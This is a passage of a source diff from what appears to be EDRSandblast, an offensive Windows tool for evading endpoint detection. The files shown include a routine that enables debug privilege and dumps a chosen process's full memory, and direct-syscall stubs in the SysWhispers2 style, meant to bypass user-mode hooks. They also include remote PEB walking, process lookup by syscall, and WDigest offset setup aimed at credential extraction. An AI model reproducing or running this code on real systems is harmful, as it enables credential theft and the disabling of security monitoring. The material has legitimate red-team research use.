SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_OFFSET, &offset);
break;
}
free(childrenParam);
return offset;
}
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb) {
SymUnloadModule(ctx->sym_handle, ctx->pdb_base_addr);
SymCleanup(ctx->sym_handle);
if (delete_pdb) {
DeleteFileW(ctx->pdb_name_w);
}
free(ctx->pdb_name_w);
ctx->pdb_name_w = NULL;
free(ctx);
}
+102
View File
@@ -0,0 +1,102 @@
/*
--- Process dump functions.
*/
#include <Windows.h>
#include <TlHelp32.h>
#include <minidumpapiset.h>
#include <tchar.h>
#include "../EDRSandblast.h"
#include "PEParser.h"
#include "ProcessDump.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
LUID luid;
BOOL bRet = FALSE;
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
TOKEN_PRIVILEGES tp = { 0 };
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
bRet = (GetLastError() == ERROR_SUCCESS);
}
}
return bRet;
}
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) {
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32 = { 0 };
//Enable the SeDebugPrivilege
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] %s dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"), processName);
return 1;
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
//HANDLE hDbghelp = LoadLibrary(TEXT("dbgcore.dll"));
//PE* dbghelpPe = PE_create(hDbghelp, TRUE);
//_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) PE_functionAddr(dbghelpPe, "MiniDumpWriteDump");
_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(LoadLibrary(TEXT("dbghelp.dll")), "MiniDumpWriteDump");
// Now walk the snapshot of processes, and look for the specified process.
do {
if (_tcscmp(pe32.szExeFile, processName)) {
continue;
}
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't open process memory (OpenProcesswith error 0x%x)\n"), processName, GetLastError());
return 1;
}
HANDLE hDumpFile = CreateFile(outputDumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't create dump file (CreateFile)\n"), processName);
return 1;
}
BOOL dumped = MiniDumpWriteDumpFunc(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!dumped) {
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't dump process (MiniDumpWriteDump with error 0x%x)\n"), processName, GetLastError());
return 1;
}
_tprintf_or_not(TEXT("[+] %s sucessfully dumped to: %s\n"), processName, outputDumpFile);
CloseHandle(hProcess);
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
}
DWORD WINAPI dumpProcessFromThread(PVOID* args) {
return dumpProcess(args[0], args[1]);
}
+211
View File
@@ -0,0 +1,211 @@
#include "RemotePEBBrowser.h"
#include "SW2_Syscalls.h"
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA) {
return (PVOID)(baseAddress + RVA);
}
// Return a pointer to the target process (PEB) Ldr's InMemoryOrderModuleList.
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess) {
// Get target process PEB address.
PROCESS_BASIC_INFORMATION basicInfo = { 0 };
basicInfo.PebBaseAddress = 0;
PROCESSINFOCLASS ProcessInformationClass = 0;
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process PEB address\n"));
return NULL;
}
#if _WIN64
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB64, Ldr));
#else
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB, Ldr));
#endif
PPEB_LDR_DATA pprocessLdr = NULL;
status = NtReadVirtualMemory(hProcess, pPebLdrAddress, &pprocessLdr, sizeof(PPEB_LDR_DATA), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process Ldr address (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
// As PLDR_DATA_TABLE_ENTRY starts with InLoadOrderLinks while PEB_LDR_DATA's InLoadOrderModuleList is at offset 0x0C.
return (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pprocessLdr) + offsetof(PEB_LDR_DATA, InLoadOrderModuleList));
}
PMODULE_INFO createModuleInfo(HANDLE hProcess, PLDR_DATA_TABLE_ENTRY ldrEntry) {
PMODULE_INFO newModuleInfo = calloc(1, sizeof(MODULE_INFO));
if (!newModuleInfo) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't allocate new module info\n"));
return NULL;
}
newModuleInfo->next = NULL;
newModuleInfo->dllBase = (ULONG64)(ULONG_PTR) ldrEntry->DllBase;
newModuleInfo->ImageSize = ldrEntry->SizeOfImage;
newModuleInfo->timeDateStamp = ldrEntry->TimeDateStampOrLoadedImports.TimeDateStamp;
newModuleInfo->checkSum = ldrEntry->HashLinksOrSectionPointerAndCheckSum.SectionPointerAndCheckSum.CheckSum;
// read the full path of the DLL
NTSTATUS status = NtReadVirtualMemory(hProcess, (PVOID) ldrEntry->FullDllName.Buffer, newModuleInfo->dllName, ldrEntry->FullDllName.Length, NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't retrieve dllName from Ldr entry (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
return newModuleInfo;
}
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess) {
PMODULE_INFO pmoduleList = NULL;
NTSTATUS status = FALSE;
// Retrieve the remote process Ldr address as pseudo PLDR_DATA_TABLE_ENTRY.
PLDR_DATA_TABLE_ENTRY pLdrAddressInPeb = getPebLdrAddress(hProcess);
if (!pLdrAddressInPeb) {
return NULL;
}
// Iterate over the linked list by InMemoryOrderModuleList order.
LDR_DATA_TABLE_ENTRY LdrCurrentEntry;
PLDR_DATA_TABLE_ENTRY pLdrCurrentEntryAddress = pLdrAddressInPeb;
while (TRUE) {
// Add InMemoryOrderLinks offset to iterate on InMemoryOrderLinks order (by retrieving the ptr at InMemoryOrderLinks).
status = NtReadVirtualMemory(hProcess, ((PBYTE) pLdrCurrentEntryAddress) + offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &pLdrCurrentEntryAddress, sizeof(PLDR_DATA_TABLE_ENTRY), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList first element address (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
// Substract InMemoryOrderLinks offset to be at the top of the LDR_DATA_TABLE_ENTRY struct.
pLdrCurrentEntryAddress = (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pLdrCurrentEntryAddress) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
// Looped back to the first entry.
if (pLdrAddressInPeb == pLdrCurrentEntryAddress) {
break;
}
// Read LDR_DATA_TABLE_ENTRY data for the current element.
status = NtReadVirtualMemory(hProcess, pLdrCurrentEntryAddress, &LdrCurrentEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList next element (NtReadVirtualMemory error 0x%x).\n"), status);
return NULL;
}
// Create module info for list using the current LDR_DATA_TABLE_ENTRY entry.
PMODULE_INFO pnewModuleInfo = createModuleInfo(hProcess, &LdrCurrentEntry);
if (!pnewModuleInfo) {
return NULL;
}
// Insert the new module info element to the module list.
if (!pmoduleList) {
pmoduleList = pnewModuleInfo;
}
else {
PMODULE_INFO plastModule = pmoduleList;
while (plastModule->next) {
plastModule = plastModule->next;
}
plastModule->next = pnewModuleInfo;
}
}
return pmoduleList;
}
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage) {
PMEMORY_PAGE_INFO prangesList = NULL;
PMEMORY_PAGE_INFO newRange = NULL;
PVOID baseAddress = NULL;
PVOID currentAddress = NULL;
ULONG64 regionSize = 0;
MEMORY_INFORMATION_CLASS memoryInfoClass = { 0 };
MEMORY_BASIC_INFORMATION memoryBasicInfo = { 0 };
NTSTATUS status = STATUS_UNSUCCESSFUL;
while (TRUE) {
status = NtQueryVirtualMemory(hProcess, (PVOID)currentAddress, memoryInfoClass, &memoryBasicInfo, sizeof(memoryBasicInfo), NULL);
// The specified base address is outside the range of accessible addresses, iteration is finished.
if (status == STATUS_INVALID_PARAMETER) {
break;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't query memory page (NtQueryVirtualMemory error 0x%x).\n"), status);
return NULL;
}
baseAddress = memoryBasicInfo.BaseAddress;
regionSize = memoryBasicInfo.RegionSize;
// Overflow.
if (((ULONG_PTR) baseAddress + regionSize) < (ULONG_PTR) baseAddress) {
break;
}
// Next memory range.
currentAddress = (PVOID) GetRVA((ULONG_PTR) baseAddress, (ULONG_PTR) regionSize);
if (filterPage) {
// Ignore non-commited pages.
if (memoryBasicInfo.State != MEM_COMMIT) {
continue;
}
// Ignore mapped pages.
if (memoryBasicInfo.Type == MEM_MAPPED) {
continue;
}
// Ignore pages with PAGE_NOACCESS. {
if ((memoryBasicInfo.Protect & PAGE_NOACCESS) == PAGE_NOACCESS) {
continue;
}
// Ignore pages with PAGE_GUARD.
if ((memoryBasicInfo.Protect & PAGE_GUARD) == PAGE_GUARD) {
continue;
}
// Ignore pages with PAGE_EXECUTE. {
if ((memoryBasicInfo.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) {
continue;
}
}
newRange = calloc(1, sizeof(MEMORY_PAGE_INFO));
if (!newRange) {
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't allocate memory for new MEMORY_RANGE_INFO"));
return NULL;
}
newRange->next = NULL;
newRange->startOfMemoryPage = (ULONG_PTR)baseAddress;
newRange->dataSize = regionSize;
newRange->state = memoryBasicInfo.State;
newRange->protect = memoryBasicInfo.Protect;
newRange->type = memoryBasicInfo.Type;
if (!prangesList) {
prangesList = newRange;
}
else {
PMEMORY_PAGE_INFO lastRange = prangesList;
while (lastRange->next) {
lastRange = lastRange->next;
}
lastRange->next = newRange;
}
}
if (!prangesList) {
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't retrieve any page"));
return NULL;
}
return prangesList;
}
+106
View File
@@ -0,0 +1,106 @@
#include "PEBBrowse.h"
#include "PEParser.h"
#include "SW2_Syscalls.h"
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW2_SYSCALL_LIST SW2_SyscallList;
DWORD SW2_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW2_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
Hash ^= PartialName + SW2_ROR8(Hash);
}
return Hash;
}
int CmpSyscallEntriesByRVA(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
if (a->RVA < b->RVA) {
return -1;
}
else if (a->RVA > b->RVA) {
return +1;
}
else {
return 0;
}
}
int CmpSyscallEntriesByHash(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
if (a->Hash < b->Hash) {
return -1;
}
else if (a->Hash > b->Hash) {
return +1;
}
else {
return 0;
}
}
BOOL SW2_PopulateSyscallList(void)
{
// Return early if the list is already populated.
if (SW2_SyscallList.Count) return TRUE;
PE* ntdll = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE);
// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(ntdll, ntdll->exportedNames[nameOrdinal]);
if (*(WORD*)functionName == *((WORD*)"Zw")) {
Entries[i].Hash = SW2_HashSyscall(functionName);
Entries[i].RVA = PE_functionRVA(ntdll, functionName);
i++;
}
}
// Save total number of system calls found.
SW2_SyscallList.Count = i;
// Sort the list by address in ascending order.
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByRVA);
// Deduce the syscall numbers.
for (DWORD j = 0; j < SW2_SyscallList.Count; j++) {
SW2_SyscallList.Entries[j].SyscallNumber = j;
}
// Sort the list by hash for quicker search.
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByHash);
return TRUE;
}
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW2_SyscallList is populated.
if (!SW2_PopulateSyscallList()) return 0xFFFFFFFF;
DWORD down = 0;
DWORD up = SW2_SyscallList.Count;
while (up - down > 1) {
DWORD mid = (down + up) / 2;
if (SW2_SyscallList.Entries[mid].Hash <= FunctionHash) {
down = mid;
}
else {
up = mid;
}
}
if (SW2_SyscallList.Entries[down].Hash == FunctionHash) {
return SW2_SyscallList.Entries[down].SyscallNumber;
}
else {
return 0xFFFFFFFF;
}
}
@@ -0,0 +1,71 @@
.data
currentHash DWORD 0
.code
EXTERN SW2_GetSyscallNumber: PROC
WhisperMain PROC
pop rax
mov [rsp+ 8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, currentHash
call SW2_GetSyscallNumber
add rsp, 28h
mov rcx, [rsp+ 8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Issue syscall
ret
WhisperMain ENDP
NtGetNextProcess PROC
mov currentHash, 0CD50C4CCh ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtGetNextProcess ENDP
NtQueryInformationProcess PROC
mov currentHash, 055A17810h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtQueryInformationProcess ENDP
NtClose PROC
mov currentHash, 054DEA057h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtClose ENDP
NtAllocateVirtualMemory PROC
mov currentHash, 08708BDBBh ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtAllocateVirtualMemory ENDP
NtOpenProcess PROC
mov currentHash, 0FDBCE430h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtOpenProcess ENDP
NtQueryVirtualMemory PROC
mov currentHash, 083906983h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtQueryVirtualMemory ENDP
NtReadVirtualMemory PROC
mov currentHash, 0309A0DDEh ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtReadVirtualMemory ENDP
NtCreateFile PROC
mov currentHash, 086A15898h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtCreateFile ENDP
NtWriteFile PROC
mov currentHash, 0B224DCF0h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtWriteFile ENDP
end
+204
View File
@@ -0,0 +1,204 @@
#include "SignatureOps.h"
#include "../EDRSandblast.h"
// Concat in pSigners output the list of Signer(s) signing the specified file on disk.
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners) {
HCERTSTORE hCertStore = NULL;
HCRYPTMSG hCryptMsg = NULL;
DWORD dwCountSigners = 0;
DWORD dwcbSz = sizeof(DWORD), dwcbSzPrevious = sizeof(DWORD);
PCMSG_SIGNER_INFO pSignerInfo = NULL;
CERT_INFO certificateInfo = { 0 };
PCCERT_CONTEXT pCertContext = NULL;
TCHAR* tmpSignerName = NULL;
TCHAR* pSigners = NULL;
TCHAR* tmpSignerHolder = NULL;
size_t sztmpSignerHolder = 0;
TCHAR signerSeperator[] = TEXT(" | ");
DWORD dwError = 0;
BOOL returnStatus = 0;
returnStatus = CryptQueryObject(CERT_QUERY_OBJECT_FILE,
pFilePath,
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
CERT_QUERY_FORMAT_FLAG_BINARY,
0,
NULL,
NULL,
NULL,
&hCertStore,
&hCryptMsg,
NULL);
if (!returnStatus) {
dwError = GetLastError();
// File is not signed.
if (dwError == CRYPT_E_NO_MATCH) {
return E_NOT_SIGNED;
}
else {
_tprintf_or_not(TEXT("[!] Couldn't retrieve certificate objects of file \"%s\" (CryptQueryObject(CERT_QUERY_OBJECT_FILE) failed: 0x%08lx)\n"), pFilePath, GetLastError());
return E_KO;
}
}
// Check that the file has at least one Signer.
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_COUNT_PARAM, 0, &dwCountSigners, &dwcbSz);
if (!returnStatus) {
_tprintf_or_not(TEXT("[!] Couldn't get number of signers of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_COUNT_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
if (dwCountSigners == 0) {
_tprintf_or_not(TEXT("[-] \"%s\" file is not digitally signed by at least one signer\n"), pFilePath);
CryptMsgClose(hCryptMsg);
hCryptMsg = NULL;
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
return E_NOT_SIGNED;
}
// Get Signer name of each certificates and concat to Signers string.
for (DWORD index = 0; index < dwCountSigners; index++) {
// index = 0;
dwcbSz = 0;
if (pSignerInfo) {
free(pSignerInfo);
pSignerInfo = NULL;
}
if (tmpSignerName) {
free(tmpSignerName);
tmpSignerName = NULL;
}
if (pCertContext) {
CertFreeCertificateContext(pCertContext);
pCertContext = NULL;
}
// Retrieve the CMSG_SIGNER_INFO_PARAM that contains the information to build CERT_INFO (Issuer and SerialNumber).
// First call CryptMsgGetParam to retrieve the size neeeded for the buffer.
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, NULL, &dwcbSz);
if (!returnStatus || !dwcbSz) {
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) for size failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Allocate the size needed by CryptMsgGetParam to retrieve CMSG_SIGNER_INFO_PARAM.
pSignerInfo = (PCMSG_SIGNER_INFO)calloc(dwcbSz, sizeof(BYTE));
if (!pSignerInfo) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for PCMSG_SIGNER_INFO"));
goto cleanup;
}
// Retrieve the CMSG_SIGNER_INFO_PARAM of the certificate and validate the return.
dwcbSzPrevious = dwcbSz;
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, pSignerInfo, &dwcbSz);
if (!returnStatus || (dwcbSzPrevious != dwcbSz)) {
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Build CERT_INFO for certificate lookup using CertFindCertificateInStore.
memset(&certificateInfo, 0, sizeof(CERT_INFO));
certificateInfo.Issuer = pSignerInfo->Issuer;
certificateInfo.SerialNumber = pSignerInfo->SerialNumber;
// Certificate lookup matching the Issuer and SerialNumber in hCertStore.
pCertContext = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, &certificateInfo, NULL);
if (!pCertContext) {
_tprintf_or_not(TEXT("[!] Couldn't find certificate of file \"%s\" in store (CertFindCertificateInStore failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Retrieves the subject name. First call is done to determine the subject name size.
dwcbSz = CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, NULL, 0);
tmpSignerName = calloc(dwcbSz, sizeof(TCHAR));
if (!tmpSignerName) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for decoded certificate Subject name."));
goto cleanup;
}
CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, tmpSignerName, dwcbSz);
if (!tmpSignerName) {
_tprintf_or_not(TEXT("[!] Couldn't retrieve decoded Subject name of certificate of file \"%s\" (CertNameToStr failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Concat the subject to the already found ones, if any.
if (pSigners) {
sztmpSignerHolder = _tcsclen(pSigners) + _tcsclen(signerSeperator) + _tcsclen(tmpSignerName) + 1;
tmpSignerHolder = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
if (!tmpSignerHolder) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for concatenated signers"));
goto cleanup;
}
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, pSigners);
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, signerSeperator);
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, tmpSignerName);
free(pSigners);
pSigners = tmpSignerHolder;
break;
}
else {
sztmpSignerHolder = _tcsclen(tmpSignerName) + 1;
pSigners = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
if (!pSigners) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for first signer"));
goto cleanup;
}
_tcscpy_s(pSigners, sztmpSignerHolder, tmpSignerName);
}
}
CertFreeCertificateContext(pCertContext);
pCertContext = NULL;
CryptMsgClose(hCryptMsg);
hCryptMsg = NULL;
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
free(pSignerInfo);
pSignerInfo = NULL;
free(tmpSignerName);
tmpSignerName = NULL;
if (!outSigners || (*szOutSigners < sztmpSignerHolder)) {
*szOutSigners = sztmpSignerHolder;
free(pSigners);
return E_INSUFFICIENT_BUFFER;
}
else {
*szOutSigners = sztmpSignerHolder;
_tcscat_s(outSigners, sztmpSignerHolder, pSigners);
free(pSigners);
return E_SUCCESS;
}
cleanup:
if (pCertContext) {
CertFreeCertificateContext(pCertContext);
pCertContext = NULL;
}
if (hCryptMsg) {
CryptMsgClose(hCryptMsg);
hCryptMsg = NULL;
}
if (hCertStore) {
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
}
if (pSignerInfo) {
free(pSignerInfo);
pSignerInfo = NULL;
}
if (tmpSignerName) {
free(tmpSignerName);
tmpSignerName = NULL;
}
return E_KO;
}
+71
View File
@@ -0,0 +1,71 @@
/*
--- Utility function to generate a random string.
*/
#include "StringUtils.h"
//BOOL isFullPath(IN TCHAR* filename) {
// char c;
//
// if (filename[0] == filename[1] && filename[1] == TEXT('\\')) {
// return TRUE;
// }
//
// c = filename[0] | 0x20;
// if (c < 97 || c > 122) {
// return FALSE;
// }
//
// c = filename[1];
// if (c != ':') {
// return FALSE;
// }
//
// c = filename[2];
// if (c != '\\') {
// return FALSE;
// }
//
// return TRUE;
//}
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* wcharString) {
unicodeString->Buffer = wcharString;
unicodeString->Length = (WORD)_tcslen(unicodeString->Buffer) * sizeof(WCHAR);
unicodeString->MaximumLength = unicodeString->Length + sizeof(WCHAR);
}
BOOL srandDone = FALSE;
/*
* Generates a "length"-long random alphanumeric string
* Assumes the allocation is big enough to receive "length" chararcters (so is at least "length + 1" long)
*/
TCHAR* generateRandomString(TCHAR* str, size_t length) {
if (!srandDone) {
srand((unsigned int)time(0));
srandDone = TRUE;
}
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
if (length) {
for (size_t n = 0; n < length; n++) {
int key = rand() % (int)(sizeof charset - 1);
str[n] = charset[key];
}
str[length] = '\0';
}
return str;
}
TCHAR* allocAndGenerateRandomString(size_t length) {
LPTSTR str = calloc(length + 1, sizeof(TCHAR));
if (str == NULL) {
return NULL;
}
generateRandomString(str, length);
return str;
}
+120
View File
@@ -0,0 +1,120 @@
#include "SyscallProcessUtils.h"
// Retrieve a given process PID.
DWORD SandGetProcessPID(HANDLE hProcess) {
PROCESS_BASIC_INFORMATION basicInformation;
basicInformation.UniqueProcessId = 0;
PROCESSINFOCLASS ProcessInformationClass = 0;
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInformation, sizeof(PROCESS_BASIC_INFORMATION), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Couldn't retrieve process PID as NtQueryInformationProcess syscall failed with error 0x%x.\n"), status);
return 0;
}
return (DWORD) basicInformation.UniqueProcessId;
}
// Retrieve a given process image (PE full path).
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess) {
NTSTATUS status;
ULONG ProcessImageLength = 1;
PUNICODE_STRING ProcessImageBuffer = NULL;
do {
ProcessImageBuffer = calloc(ProcessImageLength, sizeof(TCHAR));
if (!ProcessImageBuffer) {
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process image\n"));
return NULL;
}
status = NtQueryInformationProcess(hProcess, ProcessImageFileName, ProcessImageBuffer, ProcessImageLength, &ProcessImageLength);
if (NT_SUCCESS(status)) {
break;
}
free(ProcessImageBuffer);
ProcessImageBuffer = NULL;
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (!ProcessImageBuffer) {
_tprintf_or_not(TEXT("[-] Failed to retrieve process image\n"));
return NULL;
}
return ProcessImageBuffer;
}
// Extract filename from process image full path.
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize) {
if (ProcessImageUnicodeStr->Length == 0) {
return 0;
}
// Process name will be /binary.exe.
TCHAR* ProcessName = _tcsrchr(ProcessImageUnicodeStr->Buffer, TEXT('\\'));
if (!ProcessName) {
return 0;
}
// Skip the /.
ProcessName = &ProcessName[1];
DWORD ProcessNameLength = (DWORD)_tcslen(ProcessName);
if (ProcessNameLength > nSize) {
_tprintf_or_not(TEXT("[-] Input buffer size is too small for file name\n"));
return 0;
}
_tcsncat_s(ImageFileName, nSize, ProcessName, _TRUNCATE);
return ProcessNameLength;
}
// Find a process PID using its filename.
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid) {
DWORD status = STATUS_UNSUCCESSFUL;
HANDLE hProcess = NULL;
PUNICODE_STRING currentProcessImage = NULL;
TCHAR* currentProcessName = NULL;
DWORD currentProcessNameSz = 0;
*pPid = 0;
while (*pPid == 0) {
status = NtGetNextProcess(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess);
if (status == STATUS_NO_MORE_ENTRIES) {
_tprintf_or_not(TEXT("[-] The process '%s' was not found\n"), targetProcessName);
return STATUS_NO_MORE_ENTRIES;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall NtGetNextProcess failed with error 0x%x.\n"), status);
return status;
}
currentProcessImage = SandGetProcessImage(hProcess);
currentProcessName = calloc(currentProcessImage->MaximumLength, sizeof(TCHAR));
if (!currentProcessName) {
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process filename\n"));
return STATUS_UNSUCCESSFUL;
}
currentProcessNameSz = SandGetProcessFilename(currentProcessImage, currentProcessName, currentProcessImage->MaximumLength);
if (currentProcessNameSz != 0 && !_tcsicmp(targetProcessName, currentProcessName)) {
*pPid = SandGetProcessPID(hProcess);
break;
}
free(currentProcessImage);
currentProcessImage = NULL;
free(currentProcessName);
currentProcessName = NULL;
}
if (*pPid) {
return STATUS_SUCCES;
}
else {
return STATUS_UNSUCCESSFUL;
}
}
+71 -13
View File
@@ -9,24 +9,25 @@
#include <tchar.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileVersion.h"
#include "PdbSymbols.h"
#include "WdigestOffsets.h"
union WdigestOffsets wdigestOffsets = { 0 };
